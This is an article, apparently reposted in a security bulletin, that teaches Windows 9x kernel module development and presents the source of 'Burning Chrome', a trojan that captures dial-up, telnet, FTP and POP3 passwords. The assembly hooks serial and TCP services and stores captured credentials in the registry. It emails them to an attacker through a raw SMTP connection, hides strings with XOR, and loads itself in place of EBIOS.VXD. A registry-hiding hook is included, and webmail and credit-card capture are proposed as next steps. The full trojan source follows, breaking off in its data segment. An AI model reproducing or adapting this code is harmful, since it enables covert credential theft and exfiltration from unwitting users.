COMMAND
LKM
SYSTEMS AFFECTED
Windows 9x
PROBLEM
'Solar Eclipse' found following. This article explains the basics
of Windows 9x kernel modules development and contains the full
source of a loadable kernel module (LKM) that performs the
following functions:
1) it captures TCP connections traffic and extracts
telnet/pop3/ftp passwords
2) it captures dial-up connections traffic (by capturing the
raw data from the serial port) and extracts dial-up
passwords
3) by accessing the TCP stack directly (bypassing the Winsock
interface), it emails all the collected authentication
information to an evil script kiddie sitting in a basement
full of stolen hardware
4) it is virtually undetectable with any standard Windows tools
5) it is written entirely in assembly and the executable file
size is only 7KB
This was first published in Phreedom Magazine - a Bulgarian
h/c/p/a digest. Check it out at
http://www.phreedom.org
Let's assume that you have a basic knowledge of Win32 programming,
x86 protected mode architecture, 32-bit assembly language
programming, SoftIce and basic Internet protocols
(telnet/pop3/ftp/smtp).
Windows 9x Internals
====================
Windows 9x has two separate layers of code: DLL layer and VXD
layer.
1) DLL Layer
The DLL layer consists of all system DLLs. It runs as a Ring 3
code. All the API functions that Windows programs normally call
are implemented in the DLL layer (in KERNEL32.DLL, USER32.DLL,
GDI32.DLL and other DLLs). Many of the DLLs call VXD functions.
Some of the API functionality is implemented entirely in the VXD
layer and the DLL functions act only as gates (this is the case
with the registry access functions). Calling DLL functions from
the VXD layer is impossible and this makes most of the Windows
API inaccessible to kernel modules. We will not discuss the
system DLLs any more, because they are not used for Windows kernel
hacking.
2) VXD Layer
The general term VXD stands for Virtual Device Driver, the "x"
being a placeholder for device names. For example, VKD is a
Virtual Keyboard Driver, VDD is a Virtual Display Driver, etc.
The VXD layer is the core of the Windows OS. It is similar to
the Linux kernel and the functions it provides, although it is
not nearly as well documented. The VXD code handles memory
management, task switching, low-level hardware access and other
similar tasks. The core OS services, such as registry access,
networking and file access are also implemented in the VXD layer.
All VXDs run in Ring 0 and have full access to the system.
Hacking the Windows kernel is possible by writing an VXD.
The Windows Driver Development Kit (DDK) is used for writing VXDs.
Most programmers shiver when somebody mentions 'device drivers',
but but the VXDs can be used for many other purposes. Let's quote
Andrew Schulman, the author of "Unauthorized Windows95. A
Developer's Guide to Exploring the Foundations of Windows 95":
"...Seen from this perspective, the names Virtual Device Driver
and Device Driver Kit are unfortunate. They automatically
turn off most Windows developers, who quite sensibly feel that
device-driver writing is an area they would rather stay away
from. More appropriate names would have been "TSRs for
Windows" or "Please Hack Our Operating System". As it is, the
names VXD and DDK alienate many programmers who would otherwise
jump at this stuff.
...Admittedly, very few Windows programmers will be using VXDs
to write hardware interrupt handlers or device drivers. But a
short time spent with the DDK should convince you that there's
a ton of documented functionality available to VXDs that is
otherwise difficult or impossible to get under Windows.
Whenever a programmer says that something is "impossible" in
Windows, I suspect the correct reply will be "No it isn't.
Write a VXD" Just as TSRs allowed DOS programmers to do the
otherwise-impossible in the 1980s, VXDs are going to let
Windows programmers go anywhere and do anything in what's left
of the 1990s."
Unfortunately (or maybe fortunately) writing VXDs for Windows has
not become as common as writing TSRs for DOS was. The
possibilities that the Virtual Device Drivers offer are big, but
writing one is not an easy task.
Your First VXD
==============
VXDs are usually written with the Windows98 DDK, which includes a
copy of the Microsoft Macro Assembler (MASM). It is possible to
use C for VXD development, but using assembly is definitely more
fun. Other tools, such as NuMega DriverWorks make the
programmer's job easier, but for this example we will use only the
Win98 DDK. The DDK is available for free download on Microsoft's
web site. Even if they take it down, you will be able to find it
on some old copy of the MSDN or on the net.
Having a copy of the Windows NT4 DDK, Windows 2000 DDK and even
the Windows 3.11 DDK will also be nice. Many interesting VXD
features are poorly documented or not documented at all. Although
the Windows 98 DDK will be your primary source of information,
sometimes you will find the information you need in some of the
other kits. The Windows 3.11 DDK is useful, because there are
a lots of similarities in the internal architecture of Windows
3.11 and Windows 95. (Contrary to the Microsoft hype, Windows
3.11 was closer to Windows 95 than to Windows 3.1. Basically the
only major change between 3.11 and 95 was the GUI).
The VXDs are LE executables. You need a special linker to link
them (included in the DDK). The following source is a template
for a very basic VXD. It's just an example for a module that can
be successfully loaded by the system.
; EXAMPLE.ASM
; VXDs use 386 protected mode
.386p
; Many system VXDs export services, just like the system DLLs in Windows.
; We can use these services for memory allocations, registry and file
; access, etc.
; All we need to do is include the appropriate include file. There are
; many INC files for the system VXDs that come with the DDK.
; VMM.INC is the only required include file. It contains the declarations
; for many important services exported by VMM32.VXD, as well as many
; macros that are used for VXD programming.
INCLUDE VMM.INC
; All VXDs need a Driver Declaration Block (DDB), that stores information
; about its name, version, control procedure, device ID, init order, etc.
; To build this DDB use the Declare_Virtual_Device macro with the following
; parameters:
; - VXD name (needs not be the same as the file name)
; - Major version
; - Minor version
; - Control procedure (similar to WndProc in normal Windows programs. This
; procedure receives all the system messages and processes them
; - Device ID - used only for VXDs that export services. Arbitrary values
; might work as long as they don’t conflict with the official Device IDs
; assigned by Microsoft
; - Init order - 32 bit integer, determines the order in which the VXDs
; are loaded. If you want your VXD to be loaded after some other VXD,
; use a value greater than the other VXD's init order
Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, \
Undefined_Init_Order, , ,
; This macros declares the data segment
VxD_DATA_SEG
SomeData dd 0 ; Just some data
VxD_DATA_ENDS
; Code segment
VxD_CODE_SEG
BeginProc SomeProcedure
push eax
mov eax, 1
pop eax
ret
EndProc SomeProcedure
VxD_CODE_ENDS
;Locked code segment - will be explained later
VxD_LOCKED_CODE_SEG
; This is the control procedure. It should use Control_Dispatch macros for
; handling the messages. This macro takes 2 parameters - message_code and
; handler address. You can find a list of all the messages in the DDK
; documentation.
; This example only handles the Device_Init message and calls the
; Do_Device_Init function.
BeginProc Control_Proc
Control_Dispatch Device_Init, Do_Device_Init
clc
ret
EndProc Control_Proc
VxD_LOCKED_CODE_ENDS
; Init code segment
VxD_ICODE_SEG
; This procedure is called after the VXD is loaded. Put the initialization
; code in it.
BeginProc Do_Device_Init
; Put some init code here...
ret
EndProc Do_Device_Init
VxD_ICODE_ENDS
; End of EXAMPLE.ASM
END
There are 7 different types of segments that your VXD can use.
1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data
2) VxD_LOCKED_DATA_SEG i VxD_LOCKED_CODE_SEG - this segments
contain non-pageable code and data. Control_Proc and the
interrupt handlers should be in VxD_LOCED_CODE_SEG. Solar
Eclipse (SE) was not quite sure about the rest of the code.
The Windows DDK documentation is not very clear about that. If
your VXD is small, you might want to use only non-pageable
memory, just to be safe.
3) VxD_ICODE_SEG i VxD_IDATA_SEG - initialization code and data.
These segments are discarded after the initialization is
finished. This is a good place for the Do_Device_Init
procedure.
4) VxD_REAL_INIT_SEG - The code in this segment is executed by
Windows before the processor switches to protected mode.
Unless you are writing a REAL device driver, it's pretty much
useless.
To compile the example VXD you will also need a .DEF file. This
is EXAMPLE.DEF:
LIBRARY EXAMPLE
DESCRIPTION 'VxD Example by Solar Eclipse'
EXETYPE DEV386
SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE
EXPORTS
EXAMPLE_DDB @1
If your DDK is set up correctly, and all the shell variables are
initialized (read the DDK docs for that), you should be able to
compile EXAMPLE.VXD with the following commands (no Makefile,
sorry). You can compile a DEBUG version with this:
set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl
ml example.asm
NO_DEBUG version:
set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl
ml example.asm
Then link it:
link example.obj /vxd /def:example.def
Put the file EXAMPLE.VXD in C:\WINDOWS\SYSTEM and add the
following to the [386Enh] section of SYSTEM.INI
device=example.vxd
After the system is rebooted, the VXD will be loaded. Of course
it won't do much, but you can see it in the VXD list with SoftIce.
The VXDs allow you to access most of the core Windows services
directly and this gives you some interesting possibilities. Let's
explore the features implemented in CHROME.ASM.
I. Capturing dial-up passwords
==============================
Almost all dial-up connections are initiated through a modem
attached to a serial port, using the PPP protocol. The two most
common ways of authentication are via PAP (Password Authentication
Protocol) or via a login prompt. To get these passwords we need
to capture the traffic passing through the serial port.
The Hook_Device_Service system call allows us to hook the services
exported by the VXDs. VCOMM.VXD exports three services that we
need to hook. These are VCOMM_OpenComm, VCOMM_WriteComm and
VCOMM_CloseComm. The following code hooks the services:
; Hook VCOMM services
GetVxDServiceOrdinal eax, _VCOMM_OpenComm
mov esi, offset32 OpenComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_WriteComm
mov esi, offset32 WriteComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_CloseComm
mov esi, offset32 CloseComm_Hook
VMMcall Hook_Device_Service
jc Abort
OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names of
the new service handlers.
One of the OpenComm parameters is the name of the device being
opened. When a dial-up connection is established, Windows opens
COM1, COM2, COM3 or COM4 and sends the AT modem commands. Our
OpenComm procedure checks the device name and sets a flag if it
is a COM port. All the subsequent WriteComm calls are logged,
until the connection is closed.
If the flag is set, the WriteComm procedure saves all the data to
a buffer. When the buffer gets full, the data in it is processed
and saved to the registry.
The main goal of the log processing routines is to make sure that
no username/password combination is emailed twice - getting your
mailbox flooded by a misbehaving trojan horse is not good. This
requires the usernames and the passwords to be saved and each new
connection to be checked against the old sessions. The best place
for storing such information is the registry. Reading and writing
to the registry is much easier than storing the data in a file on
the hard disk. The chance of the user noticing a few new entries
in the registry is also very slim.
For each session, four things need to be saved: username,
password, phone number or IP address of the remote end and the log
itself. Before the session is saved, the username, password and
the phone number are extracted from the log and compared to the
existing values in the registry. If a session with the same
values exists, the new session is not saved.
CHROME.ASM combines the username, password and phone number into
a single string. Then it saves the session to the registry using
this string as the key name and the log as the key value. The
string acts as a hash of the log. When a new connection is
captured, its hash string is generated and the VXD checks if a key
with the same hash exists. It does this by trying to open a key
with the same name as the hash string. If the RegQueryValueEx
call fails, the new connection is saved.
; The following code is taken from the Send_Common procedure
; ValueName is pointer to the beginning of the hash string.
; pBuffer is a pointer to the log
; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used
; for passing a pointer to a NULL pointer
Get_Reg_Value:
; Try to get the value with the same name
xor ebx, ebx
mov dwTemp_1, ebx
push offset32 dwTemp_1 ; cbData
push ebx ; lpszData
push ebx ; fdwType
push ebx ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegQueryValueEx ; Get the value of the key
add esp, 18h
cmp eax, ERROR_FILE_NOT_FOUND ; If key exists
jne Send_Common_Abort
; Save the result in the registry
push BufferSize ; cbData
push pBuffer ; lpszData
push REG_SZ ; fdwType
push 0 ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegSetValueEx ; Set the value of the key
add esp, 18h
When the user ftp's to a server his connection is logged. If
later he decides to telnet to the same server with the save
username and password, the telnet connection will not be saved,
because the hash string will be the same. To avoid this we will
include an connection type identifier in the hash string. This
identifier is a single letter put in the beginning of the hash
string:
TraceLetters equ $ ; Table with letters for each different
NOTHING db 'N' ; type of trace. Indexed with TraceType
MODEM db 'M'
TELNET db 'T'
FTP db 'F'
POP3 db 'P'
The buffer processing functions for the dial-up and the TCP
connections are very similar. They only differ in the way the
hash string is extracted from the log. The common buffer
processing is done by the Send_Common function. It saves the new
data in the buffer and checks if it is full. Usually we don't
need to capture more than the first hundred bytes to get the
username and password. If the buffer is full, the log should be
processed. The TraceType variable contains the connection type -
modem, telnet, ftp or pop3. Send_Common calls the appropriate
log processing function - in the case of a dial-up connection it
calls ModemLog. The log processing functions extract a hash
string from the buffer and returns it to Send_Common.
ModemLog checks the captured data for an ATD command. If does not
find it, an error flag is set and the data is not saved into the
registry. Else the phone number is extracted and copied as the
first part of the hash string.
If the first transferred byte after the phone number is a '~' we
are dealing with a PPP connection. During the PPP connection
establishment authentication information can be exchanged. The
most commonly used protocol is called PAP (Password Authentication
Protocol). CHAP (Challenge Authentication Protocol) is also
popular, but it does not send the password in cleartext and
therefor can not be captured by the VXD. You can find more
information on PAP in RFC1172: The Point-to-Point Protocol Initial
Configuration Options. The PPP protocol is described in RFC1331.
The PAP authentication information is transmitted using a PPP
packet with a PAP sub-packet type. The structure of the PAP packet
is shown in the following table:
| 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S |
| | | | | | | | | |
|PPP | PAP |code| id |length |user len|username |pass len|password |
All PAP packets start with 7E C0 23. If the packet is carrying
authentication information the PAP code is 01. We need to scan
the captured PPP session for the 7E C0 23 01 byte sequence and
copy the username and the password to hash string.
If the first character after the phone number is not '~', we are
dealing with a login prompt configuration. Usually the user
enters a username, presses Enter, then enters the password,
presses Enter again and the PPP connection is established. As we
already know, the first byte of the PPP handshake sequence is '~'.
If we copy all the data before the '~' to the hash string we'll
surely get the username and the password.
II. Capturing TCP connections
=============================
Everybody reading this is probably familiar with the Winsock
interface. What most of you don't know is that most of the
Winsock functions are implemented in the Transport Data Interface
(TDI). This is a kernel mode interface for network access,
supporting different network protocols. WINSOCK.DLL is just a
convenient way for the Windows applications to use this interace
without calling the VTDI.VXD services directly.
Among others the TDI interface provides the functions TdiConnect,
TdiDisconnect and TdiSend. They correspond directly to the
Winsock functions connect(), disconnect() and send(). We need to
hook these functions and intercept the data being sent. There is
no documented way for hooking these functions, but it's not
impossible. The VTDI_Get_Info system call returns a pointer to
the TdiDispatchTable, which contains pointers to all the TDI
functions. The applications that use TDI are supposed to get the
addresses from this table and call the TDI functions directly. If
we get the address of this table and replace the addresses of the
TDI functions with the addresses of our hooks, all the TDI calls
will get routed to us. Our code runs in Ring 0 and we have full
access to the memory and can change whatever we want. Of course
we need to save the addresses of the old handlers so that we can
call them later. Sounds just like hooking DOS interrupt handlers,
doesn't it?
Here is the code for hooking the TDI functions:
; Make sure VTDI is present
VxDcall VTDI_Get_Version
jc Abort
; Get a pointer to the TCP dispatch table
push offset32 TCPName
VxDcall VTDI_Get_Info
add esp, 4
mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable
; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend
mov ebx, [eax+0Ch]
mov TdiCloseConnection_PrevAddr, ebx
mov [eax+0Ch], offset32 TdiCloseConnection_Hook
mov ebx, [eax+18h]
mov TdiConnect_PrevAddr, ebx
mov [eax+18h], offset32 TdiConnect_Hook
mov ebx, [eax+1Ch]
mov TdiDisconnect_PrevAddr, ebx
mov [eax+1Ch], offset32 TdiDisconnect_Hook
mov ebx, [eax+2Ch]
mov TdiSend_PrevAddr, ebx
mov [eax+2Ch], offset32 TdiSend_Hook
The TDI documentation in the Windows DDK is incomplete and very
confusing, but it's the only available source of information.
TdiConnect is passed a pointer to a RequestAddress structure,
which contains a pointer to a RemoteAddress structure, which
contains the IP address and the port number. After making sure
that the RequestAddress is of type IPv4, our TdiConnect handler
checks the destination port number. If it is 21, 23 or 110 we
need to capture this connection. We need to set the TraceType
flag and save the connection handle. Unfortunately this
connection handle is not returned directly by the original
TdiConnect function. One of its parameters is the address of a
callback function which is to be called after the connection is
established (or when an error occurs). We will save the supplied
address of the callback function and replace it with the address
of TdiConnect_Callback function in the VXD. This function checks
the connection status. If the connection is successfully
established, the connection handle is saved. If not, the
TraceType flag is unset. After that the real callback function
is called.
TdiSend is very similar to WriteComm. It checks the connection
handle and if it matches the connection that we are currently
tracing TdiSend calls SendCommon. From there on the process is
exactly the same as described above.
If we are tracing a pop3 session, SendCommon calls Pop3Log as a
log processing function. Pop3Log converts the IP address of the
server to a hex string and saves it as the first part of the
hash. This makes sure that two accounts with the same
username/password on different servers will not get confused.
Then the log is scanned for the USER and PASS commands. The
username and password are extracted and stored in the hash string.
mov esi, pBuffer
mov ecx, BufferSize
mov ebx, ecx
mov eax, 'RESU' ; Search for USER
USER_or_PASS_Loop:
cmp dword ptr [esi], eax ; Search for USER or PASS (in eax)
je USER_or_PASS_Copy_Loop_Start
inc esi
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Loop
USER_or_PASS_Copy_Loop_Start:
add esi, 5 ; Skip 'USER' and 'PASS'
USER_or_PASS_Copy_Loop:
cmp byte ptr [esi], 0Dh ; Is <CR> here?
jne Copy_USER_or_PASS
cmp al, 'P' ; Is this a PASS copy?
je Pop3Log_End ; Work done, finish log processing
mov ax, 0A0Dh ; Save a <CR> between username & pass
stosw
mov eax, 'SSAP'
jmp USER_or_PASS_Loop
Copy_USER_or_PASS:
movsb
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Copy_Loop
This code is shown here only as a prove that programming in
assembly is a very brain damaging activity. After spending
several years doing assembly language programming, you'll never
programmer the same way as before, even in a high level language.
Whether this is good or bad is a different question.
The FTP protocol is very similar to the POP3 protocol. In fact the
authentication commands (USER & PASS) are exactly the same and
FtpLog can simply call Pop3Log. We don't want to capture all the
anonymous ftp connections and that's why FtpLog checks the
username. If it is 'anonymous', the connection trace is aborted.
All telnet logs are processed by the TelnetLog function. It is a
little bit more complicated because the Telnet client negotiates
the terminal options with the server before it lets the user type
his username and password. The algorithm for the
username/password extraction is as follows:
DATA: terminal options | 0 | username | CR | password | CR | more data
1) find the first CR
2] find the second CR
3) save the second CR position
4) search for the 0 (going back from the second CR)
5) stop when 0 is found or the beginning of the buffer is reached
6) copy everything from the current position (starting after the
\0 or at the beginning of the buffer) to the position of the
second CR
While writing this article SE went through his code once again and
found the following comment:
; If NULL is found, edi points to the byte before it and we need to do
; inc edi twice. Else, edi would point to the first char in the buffer
; and we don't need to inc it.
; That's why we have done 'inc ecx' twice a couple of lines before.
; This way, if NULL is not found, edi points to the first-2 char
; and we can (and must) do inc edi two times.
inc edi
inc edi
This shows that writing code at 3am is not very healthy.
III. Emailing the captured passwords
====================================
Sending the captured passwords back to the hacker is very
important. The mailing function needs to be robust, otherwise all
the password capturing code is useless.
The mailing function needs to be called only when an Internet
connection is present. We could use our COM port hook and find
out when a PPP connection is established, but this wouldn't work
for machines with Ethernet connections. The simplest thing do is
to make our TdiConnect handler call the Sendmail function
everytime an outgoing connection on port 80 is detected. In this
day and age, everybody uses the Web. A connection to a web server
is a clear indication that an Internet connection is also present.
If this is not the case (the user might be using a local web
server or an Intranet without external connectivity) the Sendmail
function will fail connecting and retry again the next time.
When new data is saved to the registry, a flag is set. The letter
'P' is saved as the default value of the registry key. This flag
is later checked by the mailing function and the captured
passwords are emailed if it is set. After the email is sent the
default value is deleted from the registry. This way an email is
sent only when there is a new password. It is better to send all
the passwords every single time than to send only the new one.
This way if one email is lost, there is still a chance of getting
the lost password the next time.
Sendmail uses TDI to connect to a mail server and send all the
captured passwords and logs. Before a connection is established,
a message buffer is allocated from the heap. This buffer is used
for constructing the sequence of SMTP commands and email data
before sending it to the mailserver. First some SMTP commands
are copied to the buffer:
HELO localhost
MAIL FROM:<xxx@xxx.com>
RCPT TO:<xxx@xxx.com>
DATA
Then the email message is constructed. The subject of the message
is set to the RegisteredOwner value from
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
The first 3 lines from the message contain RegisteredOrganization,
SystemRoot and VersionNumber - for statistical purposes only.
As you already know, our logs are stored as values in a registry
key. The Sendmail function enumerates these values and copies
them to the mail buffer. The email text is finished with '.' and
the QUIT command is put into the buffer.
Opening a TDI connection and sending the contents of the mail
buffer is pain in the ass. We need to open an address object
(TdiOpenAddress), save the returned address handle, open a
connection object (TdiOpenConnection), save the connection
context, associate the connection context with the address handle
(TdiAssociateAddress) and then finally call TdiConnect. Of course
the documentation does not mention any of these steps or the order
in which they have to be performed. Figuring this out with
SoftIce is not fun.
Most TDI functions are asynchronous and call the TdiMail_Callback
function on completion. TdiConnect is no exception.
TdiMail_Callback checks the error code and if the connection is
established correctly it sends the contents of the mail buffer.
Sending all the commands with one write is not allowed by the
SMTP protocol, but it works with most mail servers. After the
sending the TdiMail_Callback is called again, this time because
the send was completed. The connection is then closed by calling
TdiDisconnect and TdiCloseAddress.
The default value of our reg key is deleted, thus unsetting the
flag. The next time Sendmail is called it will not send anything,
unless a new password was captured.
; Delete the default value (send is done)
xor eax, eax
push eax ; cbData
push offset32 Zero ; lpszData
push REG_SZ ; fdwType
push eax ; lpSubKey
push hOurKey
VMMCall _RegSetValue
add esp, 14h
IV. Misc
========
All the ASCII data in CHROME.VXD is XOR-ed with 42. This is not
a storing encryption scheme, but it will fool a less experienced
observer.
mov edi, ASCIIStart
mov ecx, ASCIILength
Decode_Loop: ; Why 42...? :-)
xor byte ptr [edi], 42
inc edi
loop Decode_Loop
The installation process of Burning Chrome is really interesting.
The standard installation approach for VXDs is to copy them to
C:\WINDOWS\SYSTEM and add the appropriate entry in the registry or
in the SYSTEM.INI file. Modifying the registry or INI files can
be easily detected and should be avoided.
The core Windows VXDs are compressed into a single file, called
VMM32.VXD. This is not a normal VXD file. When the system loads
it during the boot process, all the files that are contained in
it are extracted and loaded as kernel modules. The file format
of the VMM32.VXD is documented and it is possible to add VXD files
to it. Unfortunately, registry entries are still required for
these files and we can not force the system to load our module
without modifying the registry. The C:\WINDOWS\SYSTEM\VMM32
folder has a special function. Every time a VXD from the
VMM32.VXD collection is loaded, Windows checks if a file with the
same name exists in this directory. If it finds a file with the
same name, it is loaded instead of the VXD in VMM32.VXD.
Suppose that a AAA.VXD is in VMM32.VXD. If we name our VXD
AAA.VXD and put it in C:\WINDOWS\SYSTEM\VMM32, then Windows will
load our module instead of the original VXD.
The only problem is that we need a VXD that is in VMM32.VXD and
is loaded by default, but not necessary needed. The perfect VXD
is EBIOS.VXD. EBIOS is a failed BIOS extention standard by IBM.
Most modern computers use Award/Phoenix/AMI BIOSes and do not
support EBIOS. The lack of this VXD will not be fatal.
All we have to do is name our VXD EBIOS.VXD and copy it to
C:\WINDOWS\SYSTEM\VMM32. We don't need to modify any existing
system files. Most anti-virus programs will alert the user if a
program is trying to write to SYSTEM.INI or modify system files,
but they will happily let us copy a file.
IV. Known Bugs
==============
There are many bugs in this code. Here is the list of the known
bugs:
1) Sometimes the Sendmail function fails to send the email. It
should be redesigned to comply to the RFC - send a command,
wait for a reply, send the next command, wait for a reply, etc.
2) Anonymous FTP sessions are logged, although they should not be.
Don't no why.
3) The TelnetLog function includes some Telnet options in the hash
string.
Here is a list of improvements that can be added to the code.
1) Add encryption to the email messages. Even a simple XOR will
be better than sending everything in cleartext.
2) Capture HTTP form submissions and look for webmail
passwords/credit card numbers/etc.
3) Hide the registry key that we use to store our data. The
RegEnumKey function returns the names of the subkeys of a
given key. We can hook it and check the name of the returned
key. If it matches the key name that we want to hide, we'll
return an error.
Here is some simple code for doing this (hidearg.asm):
.386p
INCLUDE VMM.INC
INCLUDE VMMREG.INC
Declare_Virtual_Device HIDEREG, 1, 0, Control_Proc, Undefined_Device_ID, \
Undefined_Init_Order, , ,
VxD_LOCKED_DATA_SEG
pRegEnumKey_PrevHook dd 0
VxD_LOCKED_DATA_ENDS
VxD_LOCKED_CODE_SEG
BeginProc RegEnumKey_Hook, HOOK_PROC, pRegEnumKey_PrevHook, LOCKED
push ebp ; C rulez!
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hKey
; ebp+0Ch -> iSubKey
; ebp+10h -> lpszName
; ebp+14h -> cchName
pushad
pushfd
int 3
push [ebp+14h] ; Push cchName
push [ebp+10h] ; Push lpszName
push [ebp+0Ch] ; Push iSubKey
push [ebp+08h] ; Push hKey
call [pRegEnumKey_PrevHook] ; Call the old handler
add esp, 10h ; C really rulez!
mov [ebp-04h], eax ; blah...
mov edi, [ebp+10h]
cmp dword ptr [edi], 'xzzy' ; Is this "hidden" key ?
jne RegEnumKey_Hook_End
mov dword ptr [ebp-04h], ERROR_NO_MORE_ITEMS ; Dirty, but works
mov byte ptr [edi], 0
RegEnumKey_Hook_End:
popfd
popad
pop ebp
ret
EndProc RegEnumKey_Hook
BeginProc Control_Proc
Control_Dispatch Device_Init, Do_Device_Init
clc
ret
EndProc Control_Proc
VxD_LOCKED_CODE_ENDS
VxD_ICODE_SEG
BeginProc Do_Device_Init
GetVxDServiceOrdinal eax, _RegEnumKey
mov esi, offset32 RegEnumKey_Hook
VMMcall Hook_Device_Service
ret
EndProc Do_Device_Init
VxD_ICODE_ENDS
; End of HIDEREG.ASM
END
Functions List
===============
This is a list of all the functions in CHROME.ASM and what they
do.
VCOMM Hooking
OpenComm_Hook Start modem log
WriteComm_Hook Log modem data
CloseComm_Hook End modem log
TDI Hooking
TdiConnect_Hook Start TCP log
TdiConnect_Callback Helper for TdiConnect_Hook
TdiSend_Hook Log TCP data
TdiDisconnect_Hook End TCP log
TdiCloseConnection_Hook End TCP log
General logging
Send_Common Common code for logs
ModemLog Processes modem logs
TelnetLog Processes telnet logs
FtpLog Processes ftp logs
Pop3Log Processes pop3 logs
DWordToStr aka IP2HexStr
Mailing
Sendmail Sendmail
TdiMail_Callback Helper for Sendmail
QueryRegValue Gets registry data
Finally, our Mr. code:
;---------------------------------------------------------------------------;
; Burning Chrome version 0.9 by Solar Eclipse <solareclipse@phreedom.org> ;
; ;
; This program is free. Feel free to use it any way you want. If you break ;
; the law and get caught, don't come whining to me. If you modify the code, ;
; please be a nice guy and send me a copy. ;
; And don't forget to visit the cool guys at http://www.phreedom.org/ ;
;---------------------------------------------------------------------------;
.386p
;---------------------------------------------------------------------------;
; Includes ;
;---------------------------------------------------------------------------;
INCLUDE VMM.INC
INCLUDE VCOMM.INC
INCLUDE VMMREG.INC
;INCLUDE DEBUG.INC ; Temporary
VTDI_Device_ID equ 0488h
INCLUDE VTDI.INC
;---------------------------------------------------------------------------;
; Some constants ;
;---------------------------------------------------------------------------;
MAX_BUFFER_LENGTH equ 1500
MAIL_BUFFER_LENGTH equ 10000
IP_1 equ 192 ; 192.168.0.3:25
IP_2 equ 168
IP_3 equ 0
IP_4 equ 3
PORT equ 25
CHROME_Init_Order equ 0C000h + VNETBIOS_Init_Order
;---------------------------------------------------------------------------;
; EBIOS_DDB ;
;---------------------------------------------------------------------------;
Declare_Virtual_Device EBIOS, 1, 0, Control_Proc, EBIOS_Device_ID, CHROME_Init_Order, , ,
;---------------------------------------------------------------------------;
; Locked Data Segment ;
;---------------------------------------------------------------------------;
VxD_LOCKED_DATA_SEG
; ASCII data (xored)
ASCIIStart equ $
OurKey db 98,75,88,78,93,75,88,79,118,110,79,89,73,88,67,90,94,67,69,68,118
db 121,83,89,94,79,71,118,122,79,88,67,90,66,79,88,75,70,105,69,71,90
db 69,68,79,68,94,99,68,94,79,88,73,69,68,68,79,73,94,42
; 'Hardware\Description\System\PeripheralComponentInterconnect', 0
CurrentVersionSubKey db 121,69,76,94,93,75,88,79,118,103,67,73,88,69,89,69,76,94,118,125,67
db 68,78,69,93,89,118,105,95,88,88,79,68,94,124,79,88,89,67,69,68,42
; 'Software\Microsoft\Windows\CurrentVersion', 0
sRegisteredOwner db 120,79,77,67,89,94,79,88,79,78,101,93,68,79,88,42
; 'RegisteredOwner', 0
sRegisteredOrganization db 120,79,77,67,89,94,79,88,79,78,101,88,77,75,68,67,80,75,94,67,69,68,42
; 'RegisteredOrganization', 0
sVersionNumber db 124,79,88,89,67,69,68,100,95,71,72,79,88,42
; 'VersionNumber', 0
sSystemRoot db 121,83,89,94,79,71,120,69,69,94,42
; 'SystemRoot', 0
TCPName db 103,121,126,105
Letter_P db 122
Zero db 42
; 'MSTCP', 0
MailData_1 db 98,111,102,101,10,70,69,73,75,70,66,69,89,94,39,32
; 'HELO localhost', 13, 10
db 103,107,99,102,10,108,120,101,103,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
; 'MAIL FROM:<xxx@xxx.com>', 13, 10
db 120,105,122,126,10,126,101,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
; 'RCPT TO:<xxx@xxx.com>', 13, 10
db 110,107,126,107,39,32
; 'DATA', 13, 10
db 121,95,72,64,79,73,94,16,10
; 'Subject: '
cbMailData_1 equ $-MailData_1
MailData_2 db 39,32
; 13, 10
db 4,39,32
; '.', 13, 10
db 123,127,99,126,39,32,42
; 'QUIT', 13, 10, 0
cbMailData_2 equ $-MailData_2
ASCIILength equ $-ASCIIStart
; This is for the hooks
pOpenComm_PrevHook dd 0 ; Addresses of previous service handlers
pWriteComm_PrevHook dd 0
pCloseComm_PrevHook dd 0
TdiConnect_PrevAddr dd 0
TdiSend_PrevAddr dd 0
TdiDisconnect_PrevAddr dd 0
TdiCloseConnection_PrevAddr dd 0
; Flags
Disable db 0
TraceType db 0 ; 0 - nothing, 1 - modem, 2 - telnet, 3 - ftp,
; 4 - pop3
TracedHandle dd 0
LogProc dd 0 ; Address of log processing proc
TraceLetters equ $ ; Table with letters for each different
NOTHING db 'N' ; type of trace. Indexed with TraceType
MODEM db 'M'
TELNET db 'T'
FTP db 'F'
POP3 db 'P'
IP dd 0
ValueName dd 0
pBuffer dd 0
BufferSize dd 0
Index dd 0
MailPointer dd 0
hOurKey dd 0
OurSubKey db "0", 0
hOurSubKey dd 0
OldCallback dd 0
dwTemp_1 dd 0
dwTemp_2 dd 0
TdiDispatchTable dd 0
AddressHandle dd 0
ConnectionContext dd 0
Request dd 0 ; TDI_REQUEST structure
RequestNotifyObject dd offset32 TdiMail_Callback
RequestContext dd 0
TdiStatus dd 0
TdiAddressOption db 1 ; TDI_ADDRESS_OPTION_REUSE
db 0 ; TDI_OPTION_EOL
TransportAddress dd 1 ; TAAddressCount
dw 14 ; Address length
